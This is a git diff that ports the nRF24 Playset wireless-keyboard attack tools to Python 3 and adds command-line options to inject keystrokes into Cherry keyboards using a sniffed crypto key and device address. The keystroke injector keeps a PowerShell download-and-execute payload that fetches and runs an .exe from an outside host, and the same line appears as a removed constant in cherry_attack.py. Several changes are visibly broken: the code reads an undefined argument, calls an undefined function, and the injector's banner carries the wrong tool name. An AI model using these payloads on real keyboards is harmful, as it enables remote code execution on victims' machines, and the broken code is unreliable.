diff --git a/.gitignore b/.gitignore
index b38362e..64bff30 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,3 @@
*.html
*.pyc
+.DS_Store
diff --git a/README.md b/README.md
index 584a82f..309c12e 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,4 @@
-# nRF24 Playset
+# python3 compatible nRF24 Playset
The nRF24 Playset is a collection of software tools for wireless input
devices like keyboards, mice, and presenters based on Nordic Semiconductor
@@ -7,14 +7,19 @@ nRF24 transceivers, e.g. nRF24LE1 and nRF24LU1+.
All software tools support USB dongles with the
[nrf-research-firmware](https://github.com/BastilleResearch/nrf-research-firmware)
by the Bastille Threat Research Team (many thanks to @marcnewlin)
+
+
+## Migration from Python 2 to Python 3
+
+This project has been migrated from Python 2 to Python 3. The codebase has been thoroughly updated to take advantage of Python 3's features, syntax improvements, and enhanced libraries. Users should ensure that they are using a Python 3.x interpreter to run the script. Compatibility with Python 2 is no longer supported, and users are encouraged to upgrade their environments accordingly.
## Requirements
-- nRF24LU1+ USB radio dongle with flashed [nrf-research-firmware](https://github.com/BastilleResearch/nrf-research-firmware) by the Bastille Threat Research Team, e. g.
+- nRF24LU1+ USB radio dongle with flashed python3 compatible [nrf-research-firmware](https://github.com/Einstein2150/nrf-research-firmware)
* [Bitcraze CrazyRadio PA USB dongle](https://www.bitcraze.io/crazyradio-pa/)
* Logitech Unifying dongle (model C-U0007, Nordic Semiconductor based)
-- Python2
+- Python3
- PyUSB
- PyGame for GUI-based tools
@@ -22,12 +27,31 @@ by the Bastille Threat Research Team (many thanks to @marcnewlin)
## Tools
-### cherry_attack.py
+### cherry_attack.py v.1.1 by Einstein2150
Proof-of-concept software tool to demonstrate the replay and keystroke injection
vulnerabilities of the wireless keyboard Cherry B.Unlimited AES
-![Cherry Attack PoC](https://github.com/SySS-Research/nrf24-playset/blob/master/images/cherry_attack_poc.png)
+#### New commandline Features
+
+The `-key` parameter specifies the cryptographic key used for the Cherry keyboard. It must be provided in a hex format (16 bytes) without spaces or special characters
+
+The `-adr` parameter specifies the device address of the Cherry keyboard. This address must also be in hex format (5 bytes) and formatted similarly to the key, with pairs of hexadecimal digits separated by colons (e.g., 00:11:22:33:44).
+
+The `-p` or `--payload` parameter allows users to pass a custom payload that will be used during the attack. This gives users more flexibility when conducting their tests and attacks.
+
+The new `-x` or `--execute` option allows users to execute an attack immediately without using the application's user interface. When both the `-p` (payload) and `-x` options are provided at startup, the attack is executed with the supplied payload right away.
+
+**Example:**
+
+```
+bash
+python cherry_attack.py -key 1234567890123456789012 -adr 00:11:22:33:44 -p "Your custom payload" -x
+```
+
+#### New insights in cherrys encryption
+
+During testing with the extensions, I [@Einstein2150](https://github.com/Einstein2150) also noticed that multiple valid keys for keystroke injection can be concurrently valid at the same time. With the enhanced debugging output, the keys along with their corresponding device MAC addresses are documented as entries in the log. Feel free to collect as many working keys for your device as you can.
### keystroke_injector.py
@@ -38,7 +62,7 @@ vulnerability of some AES encrypted wireless keyboards
Usage:
```
-# python2 keystroke_injector.py --help
+# python3 keystroke_injector.py --help
_____ ______ ___ _ _ _____ _ _
| __ \| ____|__ \| || | | __ \| | | |
_ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_
@@ -76,7 +100,7 @@ vulnerability of nRF24-based Logitech wireless presenters
Usage:
```
-# python2 logitech_presenter.py --help
+# python3 logitech_presenter.py --help
_____ ______ ___ _ _ _____ _ _
| __ \| ____|__ \| || | | __ \| | | |
_ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_
@@ -110,7 +134,7 @@ unencrypted and unauthenticated wireless mouse communication
Usage:
```
-# python2 radioactivemouse.py --help
+# python3 radioactivemouse.py --help
_____ ______ ___ _ _ _____ _ _
| __ \| ____|__ \| || | | __ \| | | |
_ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_
@@ -151,7 +175,7 @@ different wireless desktop sets using nRF24 ShockBurst radio communication
Usage:
```
-# python2 simple_replay.py --help
+# python3 simple_replay.py --help
_____ ______ ___ _ _ _____ _ _
| __ \| ____|__ \| || | | __ \| | | |
_ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_
diff --git a/cherry_attack.py b/cherry_attack.py
index 75a820b..0e9272d 100644
--- a/cherry_attack.py
+++ b/cherry_attack.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -25,15 +25,27 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
"""
-__version__ = '1.0'
-__author__ = 'Matthias Deeg, Gerhard Klostermeier'
+__version__ = '1.1'
+__author__ = 'Einstein2150'
+import argparse
import logging
import pygame
-from binascii import hexlify
+from binascii import hexlify, unhexlify
from lib import keyboard
from lib import nrf24
from logging import debug, info
@@ -42,332 +54,305 @@
from sys import exit
# constants
-ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
-
-RECORD_BUTTON = pygame.K_1 # record button
-REPLAY_BUTTON = pygame.K_2 # replay button
-ATTACK_BUTTON = pygame.K_3 # attack button
-SCAN_BUTTON = pygame.K_4 # scan button
+DEFAULT_ATTACK_VECTOR = "Just an input from the hacker :D"
-IDLE = 0 # idle state
-RECORD = 1 # record state
-REPLAY = 2 # replay state
-SCAN = 3 # scan state
-ATTACK = 4 # attack state
+RECORD_BUTTON = pygame.K_1
+REPLAY_BUTTON = pygame.K_2
+ATTACK_BUTTON = pygame.K_3
+SCAN_BUTTON = pygame.K_4
-SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
-DWELL_TIME = 0.1 # dwell time for scan mode in seconds
-PREFIX_ADDRESS = "" # prefix address for promicious mode
-KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
+IDLE = 0
+RECORD = 1
+REPLAY = 2
+SCAN = 3
+ATTACK = 4
+SCAN_TIME = 2
+DWELL_TIME = 0.1
+PREFIX_ADDRESS = ""
+KEYSTROKE_DELAY = 0.01
class CherryAttack():
"""Cherry Attack"""
- def __init__(self):
+ def __init__(self, crypto_key=None, device_address=None, attack_vector=None, execute=False):
"""Initialize Cherry Attack"""
-
- self.state = IDLE # current state
- self.channel = 6 # used ShockBurst channel (was 6 for all tested Cherry keyboards)
- self.payloads = [] # list of sniffed payloads
- self.kbd = None # keyboard for keystroke injection attacks
- self.screen = None # screen
- self.font = None # font
- self.statusText = "" # current status text
+ info(f"Execute: {execute}, Attack Vector: {attack_vector}")
+ self.crypto_key = crypto_key
+ self.device_address = device_address
+ self.attack_vector = attack_vector
+ self.state = IDLE
+ self.channel = 6
+ self.payloads = []
+ self.kbd = None
+ self.screen = None
+ self.font = None
+ self.statusText = ""
+ self.execute = execute
try:
- # initialize pygame variables
pygame.init()
self.icon = pygame.image.load("./images/syss_logo.png")
self.bg = pygame.image.load("./images/cherry_attack_bg.png")
-
pygame.display.set_caption("SySS Cherry Attack PoC")
pygame.display.set_icon(self.icon)
self.screen = pygame.display.set_mode((400, 300), 0, 24)
self.font = pygame.font.SysFont("arial", 24)
-# self.screen.fill((255, 255, 255))
self.screen.blit(self.bg, (0, 0))
pygame.display.update()
+ #pygame.key.set_repeat(250, 50)
- # set key repetition parameters
- pygame.key.set_repeat(250, 50)
-
- # initialize radio
self.radio = nrf24.nrf24()
-
- # enable LNA
self.radio.enable_lna()
-
- # start scanning mode
- self.setState(SCAN)
- except:
- # info output
- info("[-] Error: Could not initialize Cherry Attack")
-
-
- def showText(self, text, x = 40, y = 140):
+
+ # If key and device address are provided, skip scanning and initialize keyboard directly
+ if self.crypto_key and self.device_address:
+ self.initialize_keyboard()
+ else:
+ self.setState(SCAN)
+ # Check if execute flag is set and attack vector is provided
+ if execute and attack_vector:
+ self.setState(ATTACK)
+ self.perform_attack() # Perform the attack immediately
+
+ except Exception as e:
+ info(f"[-] Error: Could not initialize Cherry Attack: {e}")
+
+ def perform_attack(self):
+ """Perform the attack with the provided attack vector."""
+ if self.kbd is not None:
+ # send keystrokes for attack
+ keystrokes = []
+ keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
+ keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
+ keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
+
+ # send attack keystrokes
+ sleep(0.1)
+
+ keystrokes = self.kbd.getKeystrokes(self.attack_vector)
+ keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
+
+ # send attack keystrokes with a small delay
+ for k in keystrokes:
+ self.radio.transmit_payload(k)
+ info("Sent payload: {0}".format(hexlify(k)))
+
+ self.setState(IDLE)
+
+ def initialize_keyboard(self):
+ """Initialize the keyboard with provided crypto key and device address"""
+ self.kbd = keyboard.CherryKeyboard(bytes(self.crypto_key))
+ info(f"Initialized keyboard with Crypto Key: {hexlify(self.crypto_key).decode('utf-8')} and Device Address: {':'.join(f'{b:02X}' for b in self.device_address)}")
+ info('-------------------------')
+ self.setState(IDLE)
+
+ def showText(self, text, x=40, y=140):
output = self.font.render(text, True, (0, 0, 0))
self.screen.blit(output, (x, y))
-
def setState(self, newState):
- """Set state"""
-
if newState == RECORD:
- # set RECORD state
self.state = RECORD
self.statusText = "RECORDING"
elif newState == REPLAY:
- # set REPLAY state
self.state = REPLAY
self.statusText = "REPLAYING"
elif newState == SCAN:
- # set SCAN state
self.state = SCAN
self.statusText = "SCANNING"
elif newState == ATTACK:
- # set ATTACK state
self.state = ATTACK
self.statusText = "ATTACKING"
else:
- # set IDLE state
self.state = IDLE
self.statusText = "IDLING"
-
+
+ # Call the method to display the menu after switching to IDLE
+ if self.state == IDLE:
+ self.display_menu()
+
+ def display_menu(self):
+ self.showText("-------------------------")
+ info('-------------------------')
+ info('1: RECORDING')
+ info('2: REPLAYING')
+ info('3: ATTACKING')
+ info('4: SCANNING')
+ info('-------------------------')
+ self.showText("1: RECORDING")
+ self.showText("2: REPLAYING")
+ self.showText("3: ATTACKING")
+ self.showText("4: SCANNING")
+ #pygame.display.update()
def unique_everseen(self, seq):
- """Remove duplicates from a list while preserving the item order"""
seen = set()
return [x for x in seq if str(x) not in seen and not seen.add(str(x))]
-
def run(self):
- # main loop
while True:
for i in pygame.event.get():
if i.type == QUIT:
exit()
-
elif i.type == KEYDOWN:
if i.key == K_ESCAPE:
exit()
-
- # record button state transitions
if i.key == RECORD_BUTTON:
- # if the current state is IDLE change it to RECORD
if self.state == IDLE:
- # set RECORD state
self.setState(RECORD)
-
- # empty payloads list
self.payloads = []
-
- # if the current state is RECORD change it to IDLE
elif self.state == RECORD:
- # set IDLE state
self.setState(IDLE)
-
- # play button state transitions
if i.key == REPLAY_BUTTON:
- # if the current state is IDLE change it to REPLAY
if self.state == IDLE:
- # set REPLAY state
self.setState(REPLAY)
-
- # scan button state transitions
if i.key == SCAN_BUTTON:
- # if the current state is IDLE change it to SCAN
if self.state == IDLE:
- # set SCAN state
self.setState(SCAN)
-
- # attack button state transitions
if i.key == ATTACK_BUTTON:
- # if the current state is IDLE change it to ATTACK
if self.state == IDLE:
- # set ATTACK state
self.setState(ATTACK)
- # show current status on screen
-# self.screen.fill((255, 255, 255))
self.screen.blit(self.bg, (0, 0))
self.showText(self.statusText)
-
- # update the display
pygame.display.update()
- # state machine
if self.state == RECORD:
- # receive payload
value = self.radio.receive_payload()
-
if value[0] == 0:
- # split the payload from the status byte
payload = value[1:]
-
- # add payload to list
self.payloads.append(payload)
-
- # info output, show packet payload
- info('Received payload: {0}'.format(hexlify(payload)))
+ info('Received payload: {0}'.format(hexlify(payload).decode('utf-8')))
elif self.state == REPLAY:
- # remove duplicate payloads (retransmissions)
payloadList = self.unique_everseen(self.payloads)
-
- # replay all payloads
for p in payloadList:
- # transmit payload
- self.radio.transmit_payload(p.tostring())
-
- # info output
- info('Sent payload: {0}'.format(hexlify(p)))
-
+ self.radio.transmit_payload(bytes(p))
+ info('Sent payload: {0}'.format(hexlify(p).decode('utf-8')))
sleep(KEYSTROKE_DELAY)
-
- # set IDLE state after playback
self.setState(IDLE)
elif self.state == SCAN:
- # put the radio in promiscuous mode
self.radio.enter_promiscuous_mode(PREFIX_ADDRESS)
-
- # define channels for scan mode
SCAN_CHANNELS = [6]
-
- # set initial channel
self.radio.set_channel(SCAN_CHANNELS[0])
-
- # sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode
last_tune = time()
channel_index = 0
while True:
- # increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
+ channel_index = (channel_index + 1) % len(SCAN_CHANNELS)
self.radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
-
- # receive payloads
value = self.radio.receive_payload()
if len(value) >= 5:
- # split the address and payload
- address, payload = value[0:5], value[5:]
-
- # convert address to string and reverse byte order
- converted_address = address[::-1].tostring()
-
- # check if the address most probably belongs to a Cherry keyboard
- if ord(converted_address[0]) in range(0x31, 0x3f):
- # first fit strategy to find a Cherry keyboard
+ address, payload = value[:5], value[5:]
+ converted_address = address[::-1]
+ if converted_address[0] in range(0x31, 0x3f):
self.address = converted_address
break
-
self.showText("Found keyboard")
- address_string = ':'.join('{:02X}'.format(b) for b in address)
+ address_string = ':'.join(f'{b:02X}' for b in address)
self.showText(address_string)
-
- # info output
- info("Found keyboard with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index]))
-
- # put the radio in sniffer mode (ESB w/o auto ACKs)
+ info(f"Found keyboard with address {address_string} on channel {SCAN_CHANNELS[channel_index]}")
self.radio.enter_sniffer_mode(self.address)
-
info("Searching crypto key")
self.statusText = "SEARCHING"
self.screen.blit(self.bg, (0, 0))
self.showText(self.statusText)
-
- # update the display
pygame.display.update()
-
last_key = 0
packet_count = 0
while True:
- # receive payload
value = self.radio.receive_payload()
-
if value[0] == 0:
- # do some time measurement
last_key = time()
-
- # split the payload from the status byte
payload = value[1:]
-
- # increment packet count
packet_count += 1
-
- # show packet payload
- info('Received payload: {0}'.format(hexlify(payload)))
-
- # heuristic for having a valid release key data packet
+ info('Received payload: {0}'.format(hexlify(payload).decode('utf-8')))
if packet_count >= 4 and time() - last_key > SCAN_TIME:
break
-
+
self.radio.receive_payload()
-
- self.showText(u"Got crypto key!")
-
- # info output
- info('Got crypto key!')
-
- # initialize keyboard
- self.kbd = keyboard.CherryKeyboard(payload.tostring())
+ # self.showText("Got crypto key!")
+ self.showText("-------------------------")
+ # Log the Crypto Key and Device Address in hex format
+ crypto_key_hex = hexlify(payload).decode('utf-8')
+ device_address_hex = ':'.join(f'{b:02X}' for b in self.address)
+ info(f'Got crypto key: {crypto_key_hex}')
+ info(f'Device address: {device_address_hex}')
+
+ self.kbd = keyboard.CherryKeyboard(bytes(payload))
info('Initialize keyboard')
-
- # set IDLE state after scanning
self.setState(IDLE)
elif self.state == ATTACK:
- if self.kbd != None:
- # send keystrokes for a classic download and execute PoC attack
- keystrokes = []
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
-
- # send attack keystrokes
- for k in keystrokes:
- self.radio.transmit_payload(k)
-
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
-
- sleep(KEYSTROKE_DELAY)
+ if self.kbd != None:
+ # send keystrokes for attack
+ keystrokes = []
+ keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
+ keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
+ keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
- # need small delay after WIN + R
- sleep(0.2)
+ # send attack keystrokes
+ sleep(0.1)
- keystrokes = []
- keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR)
- keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
+ keystrokes = []
+ keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR)
+ keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
- # send attack keystrokes with a small delay
- for k in keystrokes:
- self.radio.transmit_payload(k)
+ # send attack keystrokes with a small delay
+ for k in keystrokes:
+ self.radio.transmit_payload(k)
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
+ # info output
+ info("Sent payload: {0}".format(hexlify(k)))
+
+ self.setState(IDLE)
- sleep(KEYSTROKE_DELAY)
+ sleep(0.05)
- # set IDLE state after attack
- self.setState(IDLE)
-
-
-# main program
if __name__ == '__main__':
- # setup logging
+ # Setup logging
level = logging.INFO
logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S")
-
- # init
- poc = CherryAttack()
-
- # run
info("Start Cherry Attack v{0}".format(__version__))
- poc.run()
- # done
- info("Done.")
+ # Set up argument parser
+ parser = argparse.ArgumentParser(description='Cherry Attack PoC - a proof-of-concept tool for demonstrating replay and keystroke injection vulnerabilities of Cherry B.Unlimited AES wireless keyboards.')
+ parser.add_argument('-key', type=str, help='The crypto key')
+ parser.add_argument('-adr', type=str, help='The device address in hex format (e.g. 00:11:22:33:44)')
+ parser.add_argument('-p', '--payload', type=str, help='Custom payload string (can contain special characters)')
+ parser.add_argument('-x', '--execute', action='store_true', help='Execute attack immediately with the provided payload and quit')
+
+ args = parser.parse_args()
+ # Validate that both -key and -hex are provided if any
+ if args.key and args.hex:
+ try:
+ crypto_key = unhexlify(args.key.replace(':', ''))
+ device_address = unhexlify(args.hex.replace(':', ''))
+ if len(crypto_key) != 16 or len(device_address) != 5:
+ raise ValueError("Invalid length of crypto key or device address")
+ except Exception as e:
+ info(f"Error: {e}")
+ exit(1)
+ elif args.key or args.hex:
+ info("Both -key and -adr must be provided together")
+ exit(1)
+ else:
+ crypto_key = None
+ device_address = None
+
+ # Set the payload
+ if args.payload:
+ ATTACK_VECTOR = args.payload
+ info(f"Custom payload set: {ATTACK_VECTOR}")
+
+ # Hier ist die Anpassung
+ if args.execute and args.payload:
+ cherry_attack = CherryAttack(crypto_key, device_address, args.payload, execute=True)
+ #cherry_attack.perform_attack() # Führe den Angriff sofort aus
+ else:
+ cherry_attack = CherryAttack(crypto_key, device_address)
+ cherry_attack.run()
\ No newline at end of file
diff --git a/images/cherry_attack_bg.png b/images/cherry_attack_bg.png
index d49744f..d8757ed 100644
Binary files a/images/cherry_attack_bg.png and b/images/cherry_attack_bg.png differ
diff --git a/keystroke_injector.py b/keystroke_injector.py
index a3aec55..d9f4d73 100644
--- a/keystroke_injector.py
+++ b/keystroke_injector.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -24,28 +24,36 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
"""
-__version__ = '0.7'
-__author__ = 'Matthias Deeg, Gerhard Klostermeier'
+__version__ = '0.8'
+__author__ = 'Einstein2150'
import argparse
from binascii import hexlify, unhexlify
from lib import nrf24, keyboard
from time import sleep, time
-from sys import exit
+import sys
-
-SCAN_CHANNELS = range(2, 84) # channels to scan
-DWELL_TIME = 0.1 # dwell time for each channel in seconds
-SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
-KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
+SCAN_CHANNELS = list(range(2, 84)) # channels to scan
+DWELL_TIME = 0.1 # dwell time for each channel in seconds
+SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
+KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
# supported devices
DEVICES = {
- # Cherry Wireless Keyboard (e. g. wireless desktop set B.UNLIMITED AES)
'cherry' : 'Cherry',
- # Perixx Wireless Keyboard (e. g. wireless desktop set PERIDUO-710W)
'perixx' : 'Perixx'
}
@@ -53,21 +61,21 @@
ATTACK_VECTORS = {
1 : ("Open calc.exe", "calc"),
2 : ("Open cmd.exe", "cmd"),
- 3 : ("Classic download & execute attack", u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'")
+ 3 : ("Classic download & execute attack", "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'")
}
def banner():
"""Show a fancy banner"""
-
print(" _____ ______ ___ _ _ _____ _ _ \n"
-" | __ \\| ____|__ \\| || | | __ \\| | | | \n"
-" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n"
-" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n"
-" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n"
-" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n"
-" __/ | \n"
-" |___/ \n"
-"Keystroke Injector v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__))
+ " | __ \\| ____|__ \\| || | | __ \\| | | | \n"
+ " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n"
+ " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n"
+ " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n"
+ " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n"
+ " __/ | \n"
+ " |___/ \n"
+ "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n"
+ "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__))
# main program
@@ -80,7 +88,6 @@ def banner():
parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device')
parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N')
parser.add_argument('-d', '--device', type=str, help='Target device (supported: cherry, perixx)', required=True)
-# parser.add_argument('-x', '--attack', type=str, help='Attack vector')
# parse arguments
args = parser.parse_args()
@@ -91,13 +98,13 @@ def banner():
if args.address:
try:
# address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!)
- address = args.address.replace(':', '').decode('hex')[::-1][:5]
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
+ address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5]
+ address_string = ':'.join('{:02X}'.format(b) for b in address[::-1])
except:
print("[-] Error: Invalid address")
- exit(1)
+ sys.exit(1)
else:
- address = ""
+ address = b""
try:
# initialize radio
@@ -108,7 +115,7 @@ def banner():
radio.enable_lna()
except:
print("[-] Error: Could not initialize nRF24 radio")
- exit(1)
+ sys.exit(1)
try:
# set keyboard
@@ -120,7 +127,7 @@ def banner():
keyboard_device = keyboard.PerixxKeyboard
except Exception:
print("[-] Error: Unsupported device")
- exit(1)
+ sys.exit(1)
# put the radio in promiscuous mode with given address
if len(address) > 0:
@@ -138,7 +145,7 @@ def banner():
while True:
# increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
+ channel_index = (channel_index + 1) % len(SCAN_CHANNELS)
radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
@@ -146,22 +153,21 @@ def banner():
value = radio.receive_payload()
if len(value) >= 10:
# split the address and payload
- address, payload = value[0:5], value[5:]
+ address, payload = value[:5], value[5:]
# convert address to string and reverse byte order
- converted_address = address[::-1].tostring()
- address_string = ':'.join('{:02X}'.format(b) for b in address)
+ address_string = ':'.join('{:02X}'.format(b) for b in address[::-1])
print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index]))
# ask user about device
- answer = raw_input("[?] Attack this device (y/n)? ")
- if answer[0] == 'y':
+ answer = input("[?] Attack this device (y/n)? ")
+ if answer.lower().startswith('y'):
break
else:
print("[*] Continue scanning ...")
# put the radio in sniffer mode (ESB w/o auto ACKs)
- radio.enter_sniffer_mode(converted_address)
+ radio.enter_sniffer_mode(address[::-1])
last_tune = time()
channel_index = 0
last_key = 0
@@ -169,12 +175,10 @@ def banner():
print("[*] Search for crypto key (actually a key release packet) ...")
while True:
- # Cherry does no channel hopping, so we stay tuned on the channel
- # found previously
if args.device != 'cherry':
# increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
+ channel_index = (channel_index + 1) % len(SCAN_CHANNELS)
radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
@@ -191,9 +195,6 @@ def banner():
# increment packet count
packet_count += 1
- # show packet payload
-# print('Received payload: {0}'.format(hexlify(payload)))
-
# heuristic for having a valid release key data packet
if packet_count >= 4 and time() - last_key > SCAN_TIME:
break
@@ -208,41 +209,43 @@ def banner():
print(" 0) Exit")
try:
- answer = int(raw_input("[?] Select keystroke injection attack: "))
+ answer = int(input("[?] Select keystroke injection attack: "))
if answer == 0:
break
- if answer in ATTACK_VECTORS.keys():
+ if answer in ATTACK_VECTORS:
attack_keystrokes = ATTACK_VECTORS[answer][1]
# keystroke injection
print("[*] Start keystroke injection ...")
- # initialize keyboard with latest assumed key release packet to exploit
- # AES-CTR crypto with reusable nonces
- if args.device == 'cherry':
- kbd = keyboard_device(payload.tostring())
- elif args.device == 'perixx':
- kbd = keyboard_device(payload.tostring())
+ # initialize keyboard with latest assumed key release packet to exploit AES-CTR crypto with reusable nonces
+ kbd = keyboard_device(payload.tobytes().decode('utf-8'))
# send keystrokes for chosen attack
+
+ # Beispieltext, der injiziert werden soll
+ inject_text = "you got hacked"
+
+ # Initialisiere die Keystrokes
keystrokes = []
+
+ # Füge den injizierten Text zu den Keystrokes hinzu
+ keystrokes.extend(get_keystrokes_from_text(inject_text, kbd)) # kbd ist das Keyboard-Objekt
+
+ #keystrokes = []
keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
keystrokes.append(kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
- # send attack keystrokes
for k in keystrokes:
radio.transmit_payload(k)
sleep(KEYSTROKE_DELAY)
- # need small delay after WIN + R
sleep(0.1)
- keystrokes = []
keystrokes = kbd.getKeystrokes(attack_keystrokes)
keystrokes += kbd.getKeystroke(keyboard.KEY_RETURN)
- # send attack keystrokes with a small delay
for k in keystrokes:
radio.transmit_payload(k)
sleep(KEYSTROKE_DELAY)
@@ -254,4 +257,3 @@ def banner():
print("[-] Invalid input")
print("[*] Done with keystroke injections.\n Have a nice day!")
-
diff --git a/lib/common.py b/lib/common.py
index 503b5f2..172d024 100644
--- a/lib/common.py
+++ b/lib/common.py
@@ -17,7 +17,7 @@
import logging, argparse
-from nrf24 import *
+from .nrf24 import *
channels = []
args = None
@@ -30,7 +30,7 @@ def init_args(description):
global parser
parser = argparse.ArgumentParser(description,
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50,width=120))
- parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=range(2, 84), metavar='N')
+ parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=list(range(2, 84)), metavar='N')
parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output', default=False)
parser.add_argument('-l', '--lna', action='store_true', help='Enable the LNA (for CrazyRadio PA dongles)', default=False)
parser.add_argument('-i', '--index', type=int, help='Dongle index', default=0)
diff --git a/lib/keyboard.py b/lib/keyboard.py
index 56d3471..e199843 100644
--- a/lib/keyboard.py
+++ b/lib/keyboard.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -21,20 +21,31 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
"""
from struct import pack
# USB HID keyboard modifier
-MODIFIER_NONE = 0
-MODIFIER_CONTROL_LEFT = 1 << 0
-MODIFIER_SHIFT_LEFT = 1 << 1
-MODIFIER_ALT_LEFT = 1 << 2
